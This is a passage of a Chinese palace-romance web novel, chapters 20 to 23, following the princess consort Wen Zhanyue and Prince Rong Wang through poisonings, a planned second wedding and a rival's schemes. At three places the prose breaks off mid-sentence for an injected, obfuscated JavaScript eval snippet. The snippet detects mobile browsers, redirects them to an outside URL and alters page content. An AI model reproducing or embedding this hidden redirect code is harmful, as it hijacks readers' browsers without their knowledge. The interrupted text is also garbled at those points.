秦落雪贝齿轻咬下唇,摇摇头。 “嬷嬷是王府的老人,最知王府规矩,怎会说这些大逆不道的话?就算说,也不会是当着王妃的面,这和活腻歪了有什么区别?” “好问题。”温斩月冷声。 “本宫也想知道,究竟是谁给她的胆子,敢让她当面挑衅本宫?” 秦落雪仰着头,倔强道:“就算展嬷嬷不小心说过这样的话,但王妃就一点错都没有吗?王爷身份尊贵,往后就算是不娶我,也还是会有别的人来,寻常男人纳妾都是再正常不过的事,更何况是王爷。” “所以呢?”温斩月眼神沉下来。 她将目光看向容妄,好看的星眸里藏着浓郁的偏执。 “王爷真要纳妾?” “本王不会纳妾。”容妄神情不耐。 他吩咐青澜将展嬷嬷送回西厢院,然后看了一眼还跪着的秦落雪。 “落雪。”容妄沉声,“今日的事情本王就当没发生过,你心悦谁,本王心知肚明,你要做什么,本王亦清楚明白。” “王爷……” “不必再说。”容妄收回目光。 “王妃身子虚弱,还生着病,就不留你用晚膳了。” 这话任谁听起来,都知道是逐客令。 绿珠搀扶着秦落雪起身。 “那落雪改日再来拜访。”秦落雪点头行礼,转身离开。 临走时,她特意瞧了一眼温斩月,眼底藏着浓浓不甘。 温斩月丝毫不惧,给了秦落雪一个更加嚣张狂妄的笑容。 “身子还没好,动什么肝火。”容妄挡在温斩月的眼前,瞧着温斩月嚣张得意的模样,忍不住轻笑出声。 “赢了她,让你这么高兴?” “臣妾赢的不是她,是王爷。”温斩月站起身来。 “幸好王爷今日表现没让臣妾失望,否则,臣妾又要对王爷动杀心了。” “以后不许动杀心。”容妄弯腰将温斩月横抱起来,“王妃只对本王动心即可。” 第20章 开弓没有回头箭 从前院到锦绣阁的路程不算远,但也不近。 容妄就这样抱着温斩月穿过走廊,在所有人的目光中,朝着锦绣阁的方向走去。 一路上,下人们见了全都低着头,等人走远了,才敢聚在一起议论。 “我没看错吧,刚才王爷怀里抱着的人是王妃吗?” “我也怀疑我看错了,之前恨不得杀了王妃以儆效尤,怎么短短几天,两人就抱上了。” “看来再冷血的男人也能百炼刚成绕指柔。” “你们在说什么啊?”温落星从一旁凑过来。 这些下人惯会踩高捧低,之前见到温落星都是一副爱答不理的样子。 可眼下境遇不同,王妃得了王爷芳心,这温三小姐身份自然也就和之前不一样了。 “三小姐来得迟了没看见,刚才王爷一路抱着王妃回锦绣阁的。” “当真?”温落星双眼放光。 “这还能有假,我们这么多双眼睛都看见了,以后有了王爷的宠爱,王妃在王府就是真正的女主人了。” “多谢。”温落星取下一只银镯递给回话的人。 这真是一个好消息,她得赶紧回去告诉其他人,说不定母亲知道了,也能放下心中芥蒂,不会再同二姐姐置气。 容妄抱着温斩月回到锦绣阁。 一路上温斩月靠在容妄怀里,听到清晰有力的心跳声钻进她的耳朵,破天荒的,向来不知道脸皮为何物的她居然脸红了。 容妄将怀里的人放在榻上,瞧见温斩月脸上的绯色,唇角藏笑。 平日里张牙舞爪的像个狼崽,结果这么不禁逗,自己只是抱着她走了一段路,竟脸红成这样。 这般纯情,和之前在书房勾引他时,天差地别。 “今日你为何会信我?”温斩月错开眼,轻声询问。 容妄想都没想,便回答道:“就凭你的性子,真想为难人,不会去拐弯抹角地找借口,直接动手便是,你肯说缘由,便没想撒谎。” “你倒是了解我。”温斩月心里甜丝丝的。 容妄伸出手,掐了一下温斩月的脸。 这一幕落到端着药碗进来的梨落眼里,双眼透着八卦的精光。 “喝药了。”梨落笑着把药碗递给容妄,“阿月身体虚弱,端不起来碗,就劳烦王爷辛苦一下,喂她喝吧。” “我是受伤,不是残了。”梨落说着就要接过药碗。 容妄却伸手拦住,“无碍,本王喂你。” “你……”温斩月心中疑虑重重。 容妄愿意待她好,她自是开心的,可她也很清楚,容妄是个什么样的人。 之前两人还剑拔**张,就因为她受伤了,容妄的态度就来个一百八十度的大转弯。 不对劲,十分有十二分的不对劲。 温斩月将疑惑的目光看向梨落,梨落双手一摊,一副我也不知道怎么回事的样子。 “张口。”容妄将药送到温斩月的嘴边。 “有点苦,等你喝完,本王吩咐人送蜜饯给你。” “不用,蜜饯我去拿。”两人同框的画面实在是养眼,梨落不忍心打扰,给了温斩月一个姐们办事你放心的表情,随后离开了锦绣阁。 她守在门外,哪里也没去,也不准任何人靠近。 容妄愿意伺候,温斩月当然来者不拒。 一整碗汤药灌下去,她等着容妄开口要三日欢的解药,可容妄什么话都没说,只是站起身去倒了一碗茶水过来。 “你怕是等不到蜜饯了,漱漱口,会好一些。” “不用了,我不怕苦。”温斩月没接,她炙热的双眸迎着容妄的视线,似乎想从里面找到一些容妄反常的缘由。 “本王脸上有花?”容妄放下茶碗,坐在床边。 温斩月是个不喜欢虚与委蛇的性子,她偏过头,“王爷真是为了解药,不惜以身入局,美男计都用上了。” “那你喜欢吗?”容妄猛地靠近温斩月。 温斩月猝不及防,乱了呼吸。 容妄好看的薄唇就像是一个邀请,温斩月脑子一热,便吻了上去。 唇瓣的松软混合着舌尖苦涩的药味,容妄空洞的心在这一刻被填满,他扶着温斩月的细腰,反守为攻,占据上风。 两人一路火热,攻城略地。 直到容妄三日欢毒发,他猛地松开温斩月,眼眸深红。 从怀里掏出一小瓶梨花白,容妄仰头喝下,体内钻心的疼痛减轻些许。 只是刚才的暧昧气氛被打搅,两人都有些失了兴致。 “本**日再来看你。”说完,容妄便起身离开。 温斩月有些回不过神来。 她本以为容妄刚才拖到三日欢毒发就是要逼她拿出解药,但容妄居然半个字都没提。 既然不是冲着解药来的,那演这一出戏是为了什么? 容妄离开锦绣阁,在门口看到守着的梨落。 “下次提前备着蜜饯,这药十分苦,就算王妃不怕,但也不用没苦硬吃。” “王爷怎么知道药苦?”梨落不解。 容妄回想起刚才那个苦涩的吻,看智障似的眼神瞟了一眼梨落。 “药不苦,难道还有甜的吗?” “也有很好吃的药啊。”梨落快嘴,说完发现容妄眼里的鄙视更重了。 她摆摆手,“算了,我跟你们说不清楚。” 梨落懒得再去解释,她快步走进锦绣阁,看到温斩月已经从床上下来,又在摆弄着桌面上的破机关了。 “你不好好养伤,又在做什么?” 梨落凑近,发现温斩月只是摆弄机关,但摆弄的乱七八糟的。 “你给机关按摩呢?”梨落嘲讽道:“幸好这些东西都是死物,要是活的,能经得住你这么摆弄吗?” “今天真是撞邪了,一个两个都这么奇怪。” “梨落。”温斩月放下手里的机关,“我心好乱。” “是吗?我听听。”梨落凑近靠在温斩月胸前,听着如鼓点一般的心跳声,脱口而出道:“跳这么快,你不要命了?” “容妄今日很不一样。”温斩月垂眸。 “他待我好,却无所求,这让我有点奇怪。” “奇怪什么?这不是好事吗。”梨落想起自己的胳膊上的咒文,觉得自己的付出真值得。 但温斩月脸上却愁眉不展。 梨落叹了口气,坐在温斩月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801017|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面前。 “我从别人手里知道一些容妄信息,你要不要听?” “要。”温斩月毫不迟疑的点头。 梨落伸出手,“不许白嫖。” “钱都在你手里。” “我不要钱。”梨落收回手,“你再答应我一个愿望吧,等我想好了,再来找你兑现。” “成交。”温斩月没有半点犹豫。 梨落将自己知道的消息综合了一下,尽数告知了温斩月。 温斩月垂眸,眼里藏着一丝心疼。 “我竟不知他和我一样,从小就被人抛弃了。” “所以我猜测他今日这么反常,肯定是因为从温家人口中知道你的过去,觉得你们同病相怜,这才肯大发慈悲,对你好些。”梨落解释道。 温斩月没有完全相信这个说辞。 容妄同她一样,从来都不是一个心慈手软之辈。 今日态度天差地别,定有别的缘由。 不过她倒也不急于一时,容妄想装,她就陪他演,这出戏迟早会探个分明。 …… 秦落雪离开夜王府,上了马车,一张美艳的脸终于绷不住。 “一个不懂规矩的粗野丫头居然也敢瞧不起我。”秦落雪一把抓住绿珠的手,攥的绿珠生疼。 “瞧见了吗?这就是嫁给权势的好处,因为她的夫君是位高权重的容妄,所以她可以不把任何人放在眼里。” “我若是留在边疆嫁给谢洲白,这辈子我都抬不起头。” “所以绿珠。”秦落雪提起一口气,“我一定要嫁给京都城里的权贵,夜王不娶我,那是他的损失,我秦落雪知书达理,样貌倾城,总会有识货的人为我动心。” “可小姐……”绿珠疼的抽回手。 “京都城人人都知你是夜王殿下的青梅竹马,旁人怎么敢对您有心思?况且,就算旁人肯,老爷也不肯的,此番将我们从边疆接回来,就是为了要嫁给夜王殿下的。” 绿珠说的很有道理,秦落雪往后一靠,心神俱疲。 她本以为靠着从前那些情分让容妄娶她并不难,但今日容妄已经说得很清楚,绝不会纳妾。 容妄一言九鼎,说到做到。 这点,她比谁都清楚。 “我肯为妾,是我深知名分只是虚妄,只要夫君心中有我,哪怕我是妾,也会比正妻得势。” “可夜王连纳我为妾,他都不肯。” “今日你也瞧见了,他连自己最亲近的奶娘都不在意了,满心眼里只有夜王妃一人。” “绿珠,你说,这样的情形,我还怎么争?” 秦落雪头疼万分,她扶着绿珠,心中早就乱成了一锅粥。 绿珠心疼自家小姐,急忙安抚道:“小姐别灰心,夜王殿下没有将王妃的身份放到明面上,足以说明,二人关系并不好,今日这一出倒像是夜王有什么把柄捏在王妃手里,或许,事情还有转机。” “你说的在理。”秦落雪心中燃起一丝希冀。 “你替我办件事,请青澜来府上一坐,另外把我们从边疆带回来的宝贝拿来,或许,能从青澜身上知道些内情。” “小姐放心,此事交给我去办。” 第21章 为什么选温斩月? 有了解决的方案,秦落雪的脸色看起来好了许多。 她好不容易才从边疆的破落小户变成如今定国公府的秦二小姐,绝对,绝对不能再回去,为了这一天,她失去的太多了。 连谢洲白,她都放弃了。 想起那个男人,秦落雪的心中就像是压了一块巨石,让她喘不上气。 但很快她就摒去这些杂念,心无旁骛。 开弓没有回头箭,这条路,她一定,也必须要走下去。 …… 接下来这几日,容妄每天都来锦绣阁给温斩月喂药。 来的时候还不忘怀里揣一份酸枣蜜饯,等温斩月喝完药,便喂一颗冲冲药味。 这般体贴入微,绝口不提旁的。 一开始温斩月还心有疑虑,但后来逐渐也就接受了。 “擦擦嘴角。”容妄用手抹掉温斩月唇角的药汁,随后又喂了一颗蜜饯。 蜜饯酸酸甜甜的,很是好吃。 “臣妾感觉自己快好了。”温斩月轻声道。 虽然很享受容妄照顾她的时光,但她还有别的要紧事要做。 “好了?”容妄上下打量一番,“既如此,那本王有件事情要与你说。” 果然还是来了。 温斩月一副我就知道的表情。 “三日欢没有真正的解药,只能每日按时服用我研制的生息粉,以此来缓解三日欢的毒性,生息粉普天之下只有我会研制。” “所以,只要我活着,你就不会死。” “但倘若我**,你也别想活。”温斩月冷冷道。 “你想要三日欢的解药,我给不了你,但看在你这几日表现这么好的份上,我会多研制一些生息粉,让你以备不时之需。” “说完了吗?”容妄眼神定定。 “要是说完了,本王就要说别的了。” “你不是要说这个?”温斩月愣住,“恕臣妾愚钝,实在不知王爷何意。” 容妄收敛眉眼,缓声道:“本王娶你时,念着温家逃婚戏耍本王,所以在新婚夜为难过你,也不曾将你的身份告知天下,这是本王做得不对。” “所以本王决定,重新迎娶你一次,正好你的家人都在,可以做个见证。” 温斩月怎么都没有想到,容妄要提的是这件事情。 她还是不敢相信,为何剑拔**张的容妄会突然态度天差地别的大转弯,虽然这几日,容妄对她十分体贴入微,但她总觉得有诈。 “一切听王爷安排。”温斩月嘴上答应,心里却沉了几分。 “那你先好生休息,等本王拟好流程再来与你一同商量,若你有什么想法,也都可以提出来,本王都会满足。”容妄说完,便先离开了。 看着容妄的背影消失,温斩月从床上下来。 她叫来梨落,关起房门,将容妄刚才说的事情告知梨落。 梨落往嘴里塞了一颗葡萄,漫不经心道:“这不是好事吗?容妄承认了你的身份,这会让你在京都城里做事便更加方便。” “我知道。”温斩月面容惆怅。 “可我总觉得其中有诈,他不是一个轻易服软的人,我怕……” “怕什么?”梨落追问,“你怕他突然对你示好是因为别有所图吗?可是说真的,你会在意这个吗?你接近容妄除了真心之外,不也是要借着他完成父亲交代的任务?还是说,你现在的心态也转变了。” “从一开始的瓜甜不甜你都要扭下来,变成了现如今的,一定要瓜甜,你才愿意扭。” 梨落一针见血。 这番话如同一阵狂风,吹散了温斩月眼前的迷雾。 是了,她一开始就是冲着容妄来的,没道理容妄只是朝她靠近一步,她就先慌了阵脚。 兵来将挡水来土掩,不管容妄有什么手段,她都可以以不变应万变。 …… 容妄离开锦绣阁,让青澜找了几个京都城里最好的几个喜娘。 喜娘们第一次来到夜王府,看到传说中的夜王殿下,全都大气不敢喘,生怕自己说错话得罪了这尊杀神,招惹杀身之祸。 但一听到眼前人询问她们几个成亲流程,几个喜娘从一开始的不敢说话,慢慢地变得畅所欲言起来。 “其实男女结秦晋之好,自古以来都是媒妁之言,三书六聘,但您是王爷,要成亲的话,肯定不能拘泥于俗礼。” “就是就是,王爷娶妃是大事,一切需得从长计议。” “其实还有一点,王爷您身份尊贵,若是能得圣上赐婚,那也算是美事一桩。” “要是身上赐婚的话,那合八字的事情怕是就要交给观星监了,不知王爷要娶的是哪家小姐,可以先要了八字,去合上一合。” 成亲的流程极其繁琐,好在容妄有耐心。 听喜娘们介绍完,他便让管家给喜娘们拿了赏银,将人都打发走了。 喜娘们一走,青澜终于忍不住发问了。 “王爷,您真要娶王妃做王妃啊。” 容妄白了青澜一眼,“有意见?” “也不是。”青澜别扭道:“属下只是不明白王爷为何变化这么大,明明之前还恨不得杀了王妃呢,而且,落雪小姐都从边疆回来了,夜王妃的位置有很多人选,怎么偏偏就是……” 青澜的话没说完。 他的确不理解,温斩月那样嚣张狂妄的性子哪里比得上柔情似水的秦落雪。 他家王爷为何会选择温斩月呢? 容妄垂眸,掩去眼底的情绪。 秦落雪想要嫁给他并非是因为喜欢,而是权衡利弊之下的选择,在边疆的那几年,他看得十分清楚,秦落雪喜欢的另有其人。 这些年,虽然有人避他如蛇蝎,有人敬他如鬼神。 但偶尔也有那么一两个女子喜欢他,爱慕他。 可这样的人,每次看到他时,便害羞地低下头去,更不要说什么敢主动靠近他,用言语和行动表达对他的喜欢。 为什么要选温斩月? 容妄也问过自己。 大概是,只有温斩月可以为了得到他而不择手段。 给他下毒,威逼利诱,甚至还想和他同归于尽,这样炙热,强烈,直白的情绪像**一样,让容妄上瘾。 也让容妄觉得安心。 嚣张跋扈,行事乖张又怎么了?他容妄需要的从来都不是乖乖女,只要温斩月愿意留在他的身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801018|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,永远不背叛他。 他愿意永远惯着她。 这是容妄第一次觉得可以赌一赌。 他向来不做没有把握的事情,唯独这件事,他没有十足的把握。 但他愿意试着相信一次。 相信他有爱人,也有被爱的资格。 收回思绪,容妄抬眸看向疑惑不解的青澜。 “本王知道你和秦落雪身旁的绿珠关系匪浅,免不了要为她家小姐说好话,但本王的王妃只会是温斩月,你以后也要尊她,敬她。” “属下明白了。” 心中虽然不愿,但毕竟是自家王爷的选择,青澜当然那不敢再多说什么。 晚些时候,容妄派人去要了温斩月的生辰八字,连同自己的一起送到了观星监,他命青澜将朝服取出来,打算明日进宫。 容妄战功硕硕,当今圣上召他回京时,便给了他极大的特权。 无事不上朝,听召不听宣。 大多时候他都待在王府里,不然就是在校场练兵。 一年到头来,朝服没穿过几次。 青澜从箱子里翻出来的时候,朝服都有些皱巴巴的了。 “王爷,要不找展嬷嬷来给您熨熨?” “不了。”展嬷嬷刚刚挨了板子,应该做不来这等事。 “将朝服送去锦绣阁吧,王妃会看着处理的。” “是。”青澜将朝服叠好,心中带着质疑。 他家王妃一看就做不来这种事情,比起熨衣服,他总觉得王妃应该更喜欢**。 青澜将朝服送到锦绣阁。 温斩月看着皱巴巴的衣服,想都没想便交给了梨落。 “阿月,容妄是你的夫君。”梨落抱着朝服,满脸无奈,“这种事情你都要假手于人,你这个王妃当得很不称职。” “不是你说的吗?”温斩月摆弄着手里的机关,头也没抬道:“我首先的是温斩月,其次才是容妄的王妃。” “容妄娶我,又不是因为我衣服熨得好。” “你能这么说,我很骄傲。”梨落抱着衣服走到一旁。 “真不愧是我一手调教出来的,有我的风骨。” “苏梨落。”温斩月停下,抬眸,“你有的时候总给我一种,我好像是你生下来的错觉。” “对对对,你们都是我的孩子。” “我们?”温斩月敏锐的捕捉到关键字眼。 梨落意识到自己一时嘴快,急忙回怼道:“可不就是你们,你都是我的孩子了,容妄当然也是,不然不是差辈了吗?” “容妄要是知道你暗地里占他便宜,肯定会卸了你的腿。” “他又不在。” “我会告诉他。” “温斩月!”梨落佯装生气道:“你不能重色轻友,你这样我鄙视你的,以后夜王府的家你自己掌吧,我要撂挑子了。” “我错了。”温斩月见好就收。 “明日允你出门,看上什么买什么。” “这还差不多。”梨落满意的点点头,继续熨着衣服。 温斩月收回目光,继续摆弄着手里的机关,这是她要送给容妄的新婚礼物,若是来得及,正好可以赶上下一次新婚之夜的时候,送给容妄。 第22章 我会永远爱你 王府上下都得知了自家夜王要重新迎娶王妃的消息。 之前只是张灯结彩将人抬进了王府里,现如今,一切要重新办,整个王府上下都陷入了忙碌之中。 置办东西,纳采添吉,进行的如火如荼。 唯独西厢院里,死气沉沉。 之前的五十大板没要了展嬷嬷的命,但却让她躺在床上动弹不得。 听说王爷要重新迎娶王妃,她眼底的恨意怎么都藏不住,可如今她这副模样,想要再去争夺什么已经是望尘莫及了。 但她不好过,温斩月那个**也不能好过。 “白莲,你进来。”展嬷嬷沉声道。 名叫白莲的丫鬟听到后,从门外小跑着走进来。 “嬷嬷有何吩咐?” “晚些时候,趁着没人你去一趟北院,将温夫人请过来小坐片刻,就说我有很重要的事情要与她商量,要是不来,后果自负。” 展嬷嬷趴在床上,恨意让表情变得扭曲。 白莲愣了愣,等到展嬷嬷**的眼神瞪过来时,她才急忙低下头,应道:“嬷嬷放心,奴婢定将这事办好。” 离开西厢院,白莲迟疑片刻,还是朝着锦绣阁的方向走去了。 展嬷嬷已经失势,她再帮着展嬷嬷作恶,展嬷嬷的今日就是她的明日。 大家都是为奴为婢的,为何要与主子过不去。 …… 锦绣阁里,白莲规规矩矩地立在一旁。 温斩月坐在书桌前,摆弄着手里的机关,一旁的梨落算盘珠子打得啪啪作响。 听完白莲的话,她冷哼一声。 “你说我要不要趁着成亲这件事,把她从王府里赶出去?” “她是容妄的奶娘,容妄不会同意。”温斩月安装错了一个零件,只得卸了重装。 梨落放下手里的珠算。 “我没说让她流落街头,王府名下那么多宅院,让她搬出去,离你远一点也是好的。“ “跳梁小丑,我并不在意。”温斩月烦躁地将零件重新组装。 梨落眼珠子一转,转头看向一旁局促不安的白莲。 “这件事情我已经知道了,你且先按照展嬷嬷的吩咐去办,但你要时刻盯着她,看看她到底要作什么妖。” “是。”白莲点头,目光看向温斩月。 “你看她干什么?”梨落不满道:“在王府,我的话就是她的意思。” “奴婢明白。”白莲急忙低下头去,“梨落姑娘放心,不管展嬷嬷跟温夫人说了什么,奴婢都会一字不落地告诉您。” “这还差不多。”梨落拿起桌上的小银锭,朝着白莲扔过去。 “好好做,替我办事,亏待不了你。” 打发了白莲,梨落收起珠算,来到温斩月身边。 “你给我的那几本书我都看完了,但我今日还想出去考察一番,你要不要和我一起?” “不去。”温斩月抬起眼皮。 “我想赶在新婚之夜,将这份礼物送到容妄手上。” “啧。”梨落耸肩,“区区二婚也值得这么隆重?” 温斩月一记眼刀过来,梨落赶在她发火之前,抱着珠算快速地离开了锦绣阁。 梨落一走,温斩月继续做着手里的东西。 听到锦绣阁传来脚步声,她还以为是梨落去而折返,头也没抬道:“你回来的时候给我带一份荷花酥,许久没吃了,有点想。” “你想吃荷花酥?”容妄的声音传来。 温斩月手一顿,抬眸,看到身着朝服的男人站在她的面前。 男人带着面具,看不清面容,可他身材伟岸,平日里穿着普通衣衫时,不觉得有什么,但朝服穿在容妄身上,就好像变了个人一样。 这大概就是梨落口中曾提过的制服诱惑吧。 “好看吗?”容妄走过来,将手中的盒子放在桌上。 温斩月点点头,“王爷天人之姿,好看得很。” “你都没见过本王长什么样子。”想起面具下的脸,容妄眼中闪过一丝失落。 温斩月放下手里的零件,凑到容妄跟前。 “王爷什么样子,臣妾都爱得要死要活。” “最好是。”容妄将盒子推了过去,“打开看看。” “是礼物吗?”温斩月拿起盒子打开,里面放着一道明黄色的卷轴。 看样子,应当是圣旨。 容妄示意温斩月打开。 放下盒子,取出圣旨,温斩月展开。 “这是赐婚圣旨?” “是。”容妄点头,他将温斩月圈在怀里,目光温柔且深情。 “本王今日进宫去求的。” 温斩月被容妄眼里的炙热烫到,她仰着头,轻声道:“我并不在意这些虚名,赐不赐婚,我都是你的王妃。” “本王知道,但本王只想给你最好的。” 容妄下巴抵在温斩月的额头,“温斩月,你会让本王失望吗?” “王爷指哪方面?” “真心。”容妄将双臂收紧,“答应本王,你是真心待本王,永远,永远都不会背叛本王。” 温斩月推开容妄。 容妄怀里一空,眼底有慌乱闪过。 “温斩月,只要你不背叛本王,你要什么,本王都愿意给你。” “我只要你。”温斩月捧起容妄的脸。 “我承诺,我会永远爱你,直到我死。”话落,温斩月吻上容妄的薄唇。 在喜欢容妄这件事情上,不会有人比她更真心。 但其他方面的真心,她承诺不了。 双唇分离,容妄心头悸动。 “等观星监送来合完的八字,你就要与本王一同进宫面圣。”容妄拉住温斩月的手,“你无需担忧,只是走个过场。” “有王爷在,臣妾不会担忧。” “那便好。” 容妄没有在锦绣阁逗留,晚些时候,青澜送来荷花酥。 是在醉欢楼买的。 醉欢楼的荷花酥一绝,每天都要预定,很快就会卖完。 梨落今日出去考察的时候心中惦记着温斩月喜欢这一口,也曾去醉欢楼问过,但掌柜的说已经卖完了。 拿起一块荷花酥,梨落忍不住吐槽。 “醉欢楼的掌柜**,我去买的时候分明告诉我已经卖完了,狗眼看人低的玩意儿。” “梨落姑娘冤枉他了。”青澜立在一旁。 “荷花酥的确早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801019|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就卖完了,只不过王爷知道王妃想吃,专门让醉欢楼的厨子又做了一份送来,还吩咐以后每三日送一份到府上给王妃。” “有权势就是好啊。”梨落摆摆手,示意青澜离开。 她端着荷花酥凑到温斩月面前。 “你别说,容妄要是真的想对一个人好,是肯花费心思的。” “一份荷花酥就把你收买了?”温斩月拿起一块,放入口中。 “今日你走后,他便来找我了,还带着赐婚的圣旨,他要我永远都不背叛他。” “你答应了?”梨落眼中闪着希冀。 但很快就被温斩月的一句话给粉碎了。 “不完全是。”温斩月品尝着荷花酥的软糯香甜,垂下眼眸,遮去眼底情绪。 “我说我会永远爱他。” 这句话是个陷阱。 别人听不懂,但梨落却能明白。 也就是说,除了爱,温斩月什么都给不了容妄。 梨落味同嚼蜡,她放下手里的荷花酥,起身走到书桌前,提笔寥寥几下,便勾勒出了京都城的大致街道图。 “说点正事吧,我今日考察过,西四街地处繁华,商户众多,它的生意是整个京都城里最好的,但这个地段的租金不便宜,而且没点背景很难租到。” “直接买下来呢?”温斩月提议,“夜王府不缺钱。” “我问过了,不能买。”梨落无奈道:“你是不当家不知柴米油盐贵,夜王府有钱也不能这么败家,更何况这些地段隶属皇城,只能租赁,不能买卖。” “我是不懂这个,但背景的事情你无需担心,谁能有你现在的背景大。” “但我们是为了父亲办事,如果所有的店铺都以夜王府的名头租下,将来行事,会有掣肘。”梨落将面前图纸推到温斩月面前。 “东六街地处边缘,商铺很少,生意也惨淡,我打算把一整条街都租下来,打造成京都城唯一的美食街,也是唯一的不夜城。” “美食街我知道。”温斩月接过图纸。 “但不夜城怕是有点麻烦,京都不比我们那里,有宵禁。” “这就需要你出马了。”梨落露出一个奸诈的笑容。 “我早就打听清楚了,想要在京都城开夜市只有一条路可走,只需要得到官方的批准,拿到特权书。” “你要我去求容妄?”温斩月挑眉。 梨落嘿嘿一笑,“夫妻间,哪里用的上求这个字。更何况容妄现在对你这么好,只要你开口,他肯定不会拒绝的。” “我试试吧。”温斩月并没有把话说死。 梨落一手算盘拨得啪啪作响,双眼透着对金钱的渴望。 “只要你能帮我拿到特权书,我敢保证,一个月至少能拿这个数。”梨落冲着温斩月竖起两根手指。 “两千两?”温斩月心中诧异。 她知道梨落经商极有天赋,但没想到利润会这么大。 但没想到梨落摇摇头,对着她道:“不,是两万两。” 梨落双眼放光,“到时候拿了钱,我们再去扩充西四街的铺面,这样一来,整个京都城的商业命脉就死死的握在我们手里了。” 第23章 特权书 没有人会跟钱过不去,温斩月也是一样,第二日一大早她便去书房找了容妄。 刚一推开房门,便看到容妄在烧什么东西。 “这是什么?”温斩月看到燃烧一半的纸条,问道。 容妄撇开眼,“没什么,作废的纸张而已。” “什么作废的纸张还需要烧掉?”温斩月说着,要伸手去拿。 容妄攥住温斩月的手腕,“真不是什么要紧的。”他拉着温斩月坐下。 “你来找本王,可是有事?” “的确有事相求。”温斩月缩回手,深深的看了一眼已经被燃烧殆尽的废纸。 容妄在说谎,她知道。 但容妄不想她知道,她也可以不拆穿。 温斩月把梨落跟她说过的话,掐去不能说的部分,剩下的全部都告诉了容妄。 起初容妄并没有什么兴趣,直到他听到不夜城。 “这是你的主意?”容妄挑眉,询问。 温斩月摇头,“不是,这是梨落的意思,这丫头就喜欢折腾这些,她对经商颇有心得,也很有天赋,反正是一本万利的生意,臣妾便答应了她,就是特权书麻烦一些,所以特意来求王爷帮忙。” “王府并不缺钱财。” “但没有人会嫌钱多吧。”温斩月打起感情牌。 “昨日王爷还说,臣妾想要什么,王爷都能给呢。” 特权书一事的确棘手,但未必就拿不到,容妄沉思片刻,最终还是点点头。 “算在你的聘礼里。” “多谢王爷。”温斩月起身要走。 容妄伸手拽住,“就这么谢谢?” “不然呢?”温斩月反问。 容妄宠溺一笑,从抽屉里拿出一沓名单,“这是大婚要宴请的宾客名单,你看看,有没有要改动的?” “不用看了,王爷做主就是。” “温斩月。”容妄语气里染上怒意。 “这是我们的婚事,不是本王一个人的。” “可我没什么朋友。”温斩月抬眸,“我的朋友只有梨落一人,王爷已经允许她留在我身边了,至于其他的,是要宴请京都权贵,还是世家名流,我都没有意见。” 这番话极大的平息了容妄的怒火。 他伸手捏捏温斩月的脸,“以后你不会是一个人了,有本王陪着你,你想做什么,本王都答应。” 这承诺太美好了,温斩月有一时的失神。 但她很快便收起了情绪。 这个男人的确具有迷惑性,嘴上说着什么都愿意给她,实际上却一直有事瞒着她,那刚才被燃烧掉的废纸就是最好的证明。 “那臣妾就不打扰王爷了。”温斩月点点头,转身离开书房。 人刚走,青澜便走进来了。 “王爷,您当真要逆天而行吗?”青澜看向一旁燃烧完的灰烬。 “观星监这么多年来,从未出过错,合出来您与王妃的八字乃是大凶,依属下看,这婚事要不要暂缓?” 容妄冷嗤一声,语气里带着浓浓的不屑。 “本王不信这些,合八字只是为了应付皇上,既然观星监的人不会说话,那就找个会说话的便是。” “另外,你去告知观星监的人,八字一事谁要是敢乱说,本王拔了他的舌头。”容妄冷冷道。 青澜将劝阻的话缩回肚子里,垂头丧气的离开了书房。 …… 定国公府,雪院。 秦落雪刚画完一副青山雪松图,洗笔时,看到绿珠慌慌忙忙的跑来。 “小姐,不好了!”绿珠上气不接下气道:“奴按照您的吩咐,给青澜下了一点醉真,他果然说实话了。” “探听出什么消息了?”秦落雪头也没抬道。 绿珠长出一口气,“这位夜王妃的确是个人物,她给夜王殿下下了毒。” “什么?”秦落雪猛地抬起头。 她倒是想过无数的可能性,但唯独没有想到温斩月的胆子居然这么大,竟然会给容妄下毒。 “不过,还有件事。”绿珠的神情暗淡下来。 “青澜说夜王殿下一开始是不喜欢夜王妃的,但如今,却是有几分真心了,现在夜王府上下都在重新操办婚礼,小姐您要是不抓紧时间行动的话,恐怕就真的没戏了。” 秦落雪等着青山雪松图墨迹干了一些,便将画收起来,放到一个盒子里面收好。 “本来我的确是一筹莫展,但如今得了这个消息,想要从中作梗的话就方便多了。”秦落雪抬眸看向绿珠,“晚些时候你去请父亲来雪院一坐,告诉他,让他挑个由头,许我进宫一趟,面见皇后娘娘。” “是。”绿珠点头领命。 秦落雪走到窗边,抬起头瞧了一眼天色。 乌云压城城欲摧,看样子,京都城怕是要变天了。 …… 夜王府,锦绣阁。 梨落在外面逛了一天,回来的时候,浑身都是汗。 